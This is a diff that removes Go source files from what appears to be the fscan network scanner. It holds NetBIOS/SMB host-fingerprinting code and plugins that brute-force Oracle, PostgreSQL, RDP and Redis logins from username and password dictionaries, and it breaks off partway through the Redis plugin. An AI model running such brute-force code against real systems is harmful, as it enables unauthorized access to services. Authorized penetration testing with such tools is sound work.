_, err1 := conn.Write(payload0)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
_, err1 = ReadBytes(conn)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
_, err = conn.Write(NegotiateSMBv1Data1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = ReadBytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
_, err = conn.Write(NegotiateSMBv1Data2)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var ret []byte
|
||||
ret, err = ReadBytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
netbios2, err := ParseNTLM(ret)
|
||||
JoinNetBios(&netbios, &netbios2)
|
||||
return
|
||||
}
|
||||
|
||||
func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
||||
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
|
||||
realhost := fmt.Sprintf("%s:137", info.Host)
|
||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write(senddata1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, _ := ReadBytes(conn)
|
||||
netbios, err = ParseNetBios(text)
|
||||
return
|
||||
}
|
||||
|
||||
func bytetoint(text byte) (int, error) {
|
||||
num1 := fmt.Sprintf("%v", text)
|
||||
num, err := strconv.Atoi(num1)
|
||||
return num, err
|
||||
}
|
||||
|
||||
func netbiosEncode(name string) (output []byte) {
|
||||
var names []int
|
||||
src := fmt.Sprintf("%-16s", name)
|
||||
for _, a := range src {
|
||||
char_ord := int(a)
|
||||
high_4_bits := char_ord >> 4
|
||||
low_4_bits := char_ord & 0x0f
|
||||
names = append(names, high_4_bits, low_4_bits)
|
||||
}
|
||||
for _, one := range names {
|
||||
out := (one + 0x41)
|
||||
output = append(output, byte(out))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var (
|
||||
UNIQUE_NAMES = map[string]string{
|
||||
"\x00": "WorkstationService",
|
||||
"\x03": "Messenger Service",
|
||||
"\x06": "RAS Server Service",
|
||||
"\x1F": "NetDDE Service",
|
||||
"\x20": "ServerService",
|
||||
"\x21": "RAS Client Service",
|
||||
"\xBE": "Network Monitor Agent",
|
||||
"\xBF": "Network Monitor Application",
|
||||
"\x1D": "Master Browser",
|
||||
"\x1B": "Domain Master Browser",
|
||||
}
|
||||
|
||||
GROUP_NAMES = map[string]string{
|
||||
"\x00": "DomainName",
|
||||
"\x1C": "DomainControllers",
|
||||
"\x1E": "Browser Service Elections",
|
||||
}
|
||||
|
||||
NetBIOS_ITEM_TYPE = map[string]string{
|
||||
"\x01\x00": "NetBiosComputerName",
|
||||
"\x02\x00": "NetBiosDomainName",
|
||||
"\x03\x00": "ComputerName",
|
||||
"\x04\x00": "DomainName",
|
||||
"\x05\x00": "DNS tree name",
|
||||
"\x07\x00": "Time stamp",
|
||||
}
|
||||
NegotiateSMBv1Data1 = []byte{
|
||||
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
||||
}
|
||||
NegotiateSMBv1Data2 = []byte{
|
||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
)
|
||||
|
||||
type NetBiosInfo struct {
|
||||
GroupName string
|
||||
WorkstationService string `yaml:"WorkstationService"`
|
||||
ServerService string `yaml:"ServerService"`
|
||||
DomainName string `yaml:"DomainName"`
|
||||
DomainControllers string `yaml:"DomainControllers"`
|
||||
ComputerName string `yaml:"ComputerName"`
|
||||
OsVersion string `yaml:"OsVersion"`
|
||||
NetDomainName string `yaml:"NetBiosDomainName"`
|
||||
NetComputerName string `yaml:"NetBiosComputerName"`
|
||||
}
|
||||
|
||||
func (info *NetBiosInfo) String() (output string) {
|
||||
var text string
|
||||
//ComputerName 信息比较全
|
||||
if info.ComputerName != "" {
|
||||
if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" {
|
||||
text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName)
|
||||
} else {
|
||||
text = info.ComputerName
|
||||
}
|
||||
} else {
|
||||
//组信息
|
||||
if info.DomainName != "" {
|
||||
text += info.DomainName
|
||||
text += "\\"
|
||||
} else if info.NetDomainName != "" {
|
||||
text += info.NetDomainName
|
||||
text += "\\"
|
||||
}
|
||||
//机器名
|
||||
if info.ServerService != "" {
|
||||
text += info.ServerService
|
||||
} else if info.WorkstationService != "" {
|
||||
text += info.WorkstationService
|
||||
} else if info.NetComputerName != "" {
|
||||
text += info.NetComputerName
|
||||
}
|
||||
}
|
||||
if text == "" {
|
||||
} else if info.DomainControllers != "" {
|
||||
output = fmt.Sprintf("[+] DC:%-24s", text)
|
||||
} else {
|
||||
output = fmt.Sprintf("%-30s", text)
|
||||
}
|
||||
if info.OsVersion != "" {
|
||||
output += " " + info.OsVersion
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
||||
if len(input) < 57 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
data := input[57:]
|
||||
var num int
|
||||
num, err = bytetoint(input[56:57][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var msg string
|
||||
for i := 0; i < num; i++ {
|
||||
if len(data) < 18*i+16 {
|
||||
break
|
||||
}
|
||||
name := string(data[18*i : 18*i+15])
|
||||
flag_bit := data[18*i+15 : 18*i+16]
|
||||
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
|
||||
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
|
||||
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
|
||||
name_flags := data[18*i+16 : 18*i+18][0]
|
||||
if name_flags >= 128 {
|
||||
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
|
||||
}
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s \n", name)
|
||||
}
|
||||
}
|
||||
if len(msg) == 0 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
||||
if netbios.DomainName != "" {
|
||||
netbios.GroupName = netbios.DomainName
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
|
||||
if len(ret) < 47 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
var num1, num2 int
|
||||
num1, err = bytetoint(ret[43:44][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[44:45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length := num1 + num2*256
|
||||
if len(ret) < 48+length {
|
||||
return
|
||||
}
|
||||
os_version := ret[47+length:]
|
||||
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
|
||||
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
|
||||
ostext := string(tmp1[:len(tmp1)-1])
|
||||
ss := strings.Split(ostext, "|")
|
||||
netbios.OsVersion = ss[0]
|
||||
start := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
if len(ret) < start+45 {
|
||||
return
|
||||
}
|
||||
num1, err = bytetoint(ret[start+40 : start+41][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[start+41 : start+42][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length = num1 + num2*256
|
||||
_, err = bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
offset, err := bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil || len(ret) < start+offset+length {
|
||||
return
|
||||
}
|
||||
var msg string
|
||||
index := start + offset
|
||||
for index < start+offset+length {
|
||||
item_type := ret[index : index+2]
|
||||
num1, err = bytetoint(ret[index+2 : index+3][0])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
num2, err = bytetoint(ret[index+3 : index+4][0])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
item_length := num1 + num2*256
|
||||
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
|
||||
index += 4 + item_length
|
||||
if string(item_type) == "\x07\x00" {
|
||||
//Time stamp, 不需要输出
|
||||
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
|
||||
msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
|
||||
} else if string(item_type) == "\x00\x00" {
|
||||
break
|
||||
}
|
||||
}
|
||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
||||
return
|
||||
}
|
||||
|
||||
func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
|
||||
netbios1.ComputerName = netbios2.ComputerName
|
||||
netbios1.NetDomainName = netbios2.NetDomainName
|
||||
netbios1.NetComputerName = netbios2.NetComputerName
|
||||
if netbios2.DomainName != "" {
|
||||
netbios1.DomainName = netbios2.DomainName
|
||||
}
|
||||
netbios1.OsVersion = netbios2.OsVersion
|
||||
return netbios1
|
||||
}
|
||||
@@ -1,79 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
_ "github.com/sijms/go-ora/v2"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// OracleScan 执行Oracle服务扫描
|
||||
func OracleScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
// 尝试用户名密码组合
|
||||
for _, user := range Common.Userdict["oracle"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
// 替换密码中的用户名占位符
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
flag, err := OracleConn(info, user, pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 记录错误信息
|
||||
errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
tmperr = err
|
||||
|
||||
if Common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 超时检查
|
||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// OracleConn 尝试Oracle连接
|
||||
func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port, username, password := info.Host, info.Ports, user, pass
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造连接字符串
|
||||
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl",
|
||||
username, password, host, port)
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("oracle", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(timeout)
|
||||
db.SetConnMaxIdleTime(timeout)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
// 测试连接
|
||||
if err = db.Ping(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
@@ -1,79 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// PostgresScan 执行PostgreSQL服务扫描
|
||||
func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
// 尝试用户名密码组合
|
||||
for _, user := range Common.Userdict["postgresql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
// 替换密码中的用户名占位符
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
flag, err := PostgresConn(info, user, pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 记录错误信息
|
||||
errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
tmperr = err
|
||||
|
||||
if Common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 超时检查
|
||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// PostgresConn 尝试PostgreSQL连接
|
||||
func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port, username, password := info.Host, info.Ports, user, pass
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造连接字符串
|
||||
connStr := fmt.Sprintf(
|
||||
"postgres://%v:%v@%v:%v/postgres?sslmode=disable",
|
||||
username, password, host, port,
|
||||
)
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(timeout)
|
||||
|
||||
// 测试连接
|
||||
if err = db.Ping(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
-243
@@ -1,243 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/tomatome/grdp/core"
|
||||
"github.com/tomatome/grdp/glog"
|
||||
"github.com/tomatome/grdp/protocol/nla"
|
||||
"github.com/tomatome/grdp/protocol/pdu"
|
||||
"github.com/tomatome/grdp/protocol/rfb"
|
||||
"github.com/tomatome/grdp/protocol/sec"
|
||||
"github.com/tomatome/grdp/protocol/t125"
|
||||
"github.com/tomatome/grdp/protocol/tpkt"
|
||||
"github.com/tomatome/grdp/protocol/x224"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Brutelist 表示暴力破解的用户名密码组合
|
||||
type Brutelist struct {
|
||||
user string
|
||||
pass string
|
||||
}
|
||||
|
||||
// RdpScan 执行RDP服务扫描
|
||||
func RdpScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
var (
|
||||
wg sync.WaitGroup
|
||||
signal bool
|
||||
num = 0
|
||||
all = len(Common.Userdict["rdp"]) * len(Common.Passwords)
|
||||
mutex sync.Mutex
|
||||
)
|
||||
|
||||
// 创建任务通道
|
||||
brlist := make(chan Brutelist)
|
||||
port, _ := strconv.Atoi(info.Ports)
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < Common.BruteThread; i++ {
|
||||
wg.Add(1)
|
||||
go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout)
|
||||
}
|
||||
|
||||
// 分发扫描任务
|
||||
for _, user := range Common.Userdict["rdp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
brlist <- Brutelist{user, pass}
|
||||
}
|
||||
}
|
||||
close(brlist)
|
||||
|
||||
// 等待所有任务完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
signal = true
|
||||
}()
|
||||
for !signal {
|
||||
}
|
||||
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// worker RDP扫描工作协程
|
||||
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist,
|
||||
signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
|
||||
defer wg.Done()
|
||||
|
||||
for one := range brlist {
|
||||
if *signal {
|
||||
return
|
||||
}
|
||||
go incrNum(num, mutex)
|
||||
|
||||
user, pass := one.user, one.pass
|
||||
flag, err := RdpConn(host, domain, user, pass, port, timeout)
|
||||
|
||||
if flag && err == nil {
|
||||
// 连接成功
|
||||
var result string
|
||||
if domain != "" {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
*signal = true
|
||||
return
|
||||
}
|
||||
|
||||
// 连接失败
|
||||
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
|
||||
// incrNum 线程安全地增加计数器
|
||||
func incrNum(num *int, mutex *sync.Mutex) {
|
||||
mutex.Lock()
|
||||
*num++
|
||||
mutex.Unlock()
|
||||
}
|
||||
|
||||
// RdpConn 尝试RDP连接
|
||||
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
|
||||
target := fmt.Sprintf("%s:%d", ip, port)
|
||||
|
||||
// 创建RDP客户端
|
||||
client := NewClient(target, glog.NONE)
|
||||
if err := client.Login(domain, user, password, timeout); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// Client RDP客户端结构
|
||||
type Client struct {
|
||||
Host string // 服务地址(ip:port)
|
||||
tpkt *tpkt.TPKT // TPKT协议层
|
||||
x224 *x224.X224 // X224协议层
|
||||
mcs *t125.MCSClient // MCS协议层
|
||||
sec *sec.Client // 安全层
|
||||
pdu *pdu.Client // PDU协议层
|
||||
vnc *rfb.RFB // VNC协议(可选)
|
||||
}
|
||||
|
||||
// NewClient 创建新的RDP客户端
|
||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||
// 配置日志
|
||||
glog.SetLevel(logLevel)
|
||||
logger := log.New(os.Stdout, "", 0)
|
||||
glog.SetLogger(logger)
|
||||
|
||||
return &Client{
|
||||
Host: host,
|
||||
}
|
||||
}
|
||||
|
||||
// Login 执行RDP登录
|
||||
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[连接错误] %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
glog.Info(conn.LocalAddr().String())
|
||||
|
||||
// 初始化协议栈
|
||||
g.initProtocolStack(conn, domain, user, pwd)
|
||||
|
||||
// 建立X224连接
|
||||
if err = g.x224.Connect(); err != nil {
|
||||
return fmt.Errorf("[X224连接错误] %v", err)
|
||||
}
|
||||
glog.Info("等待连接建立...")
|
||||
|
||||
// 等待连接完成
|
||||
wg := &sync.WaitGroup{}
|
||||
breakFlag := false
|
||||
wg.Add(1)
|
||||
|
||||
// 设置事件处理器
|
||||
g.setupEventHandlers(wg, &breakFlag, &err)
|
||||
|
||||
wg.Wait()
|
||||
return err
|
||||
}
|
||||
|
||||
// initProtocolStack 初始化RDP协议栈
|
||||
func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) {
|
||||
// 创建协议层实例
|
||||
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
|
||||
g.x224 = x224.New(g.tpkt)
|
||||
g.mcs = t125.NewMCSClient(g.x224)
|
||||
g.sec = sec.NewClient(g.mcs)
|
||||
g.pdu = pdu.NewClient(g.sec)
|
||||
|
||||
// 设置认证信息
|
||||
g.sec.SetUser(user)
|
||||
g.sec.SetPwd(pwd)
|
||||
g.sec.SetDomain(domain)
|
||||
|
||||
// 配置协议层关联
|
||||
g.tpkt.SetFastPathListener(g.sec)
|
||||
g.sec.SetFastPathListener(g.pdu)
|
||||
g.pdu.SetFastPathSender(g.tpkt)
|
||||
}
|
||||
|
||||
// setupEventHandlers 设置PDU事件处理器
|
||||
func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) {
|
||||
// 错误处理
|
||||
g.pdu.On("error", func(e error) {
|
||||
*err = e
|
||||
glog.Error("错误:", e)
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接关闭
|
||||
g.pdu.On("close", func() {
|
||||
*err = errors.New("连接关闭")
|
||||
glog.Info("连接已关闭")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接成功
|
||||
g.pdu.On("success", func() {
|
||||
*err = nil
|
||||
glog.Info("连接成功")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 连接就绪
|
||||
g.pdu.On("ready", func() {
|
||||
glog.Info("连接就绪")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
|
||||
// 屏幕更新
|
||||
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
|
||||
glog.Info("屏幕更新:", rectangles)
|
||||
})
|
||||
|
||||
// 完成处理
|
||||
g.pdu.On("done", func() {
|
||||
if !*breakFlag {
|
||||
*breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -1,513 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
dbfilename string // Redis数据库文件名
|
||||
dir string // Redis数据库目录
|
||||
)
|
||||
|
||||
// RedisScan 执行Redis服务扫描
|
||||
func RedisScan(info *Common.HostInfo) (tmperr error) {
|
||||
fmt.Println("[+] Redis扫描模块开始...")
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
// 尝试无密码连接
|
||||
flag, err := RedisUnauth(info)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if Common.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
// 尝试密码暴力破解
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||
|
||||
flag, err := RedisConn(info, pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 记录错误信息
|
||||
errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", info.Host, info.Ports, pass, err)
|
||||
Common.LogError(errlog)
|
||||
tmperr = err
|
||||
|
||||
if Common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
|
||||
// 超时检查
|
||||
if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
fmt.Println("[+] Redis扫描模块结束...")
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// RedisConn 尝试Redis连接
|
||||
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 发送认证命令
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 认证成功
|
||||
if strings.Contains(reply, "+OK") {
|
||||
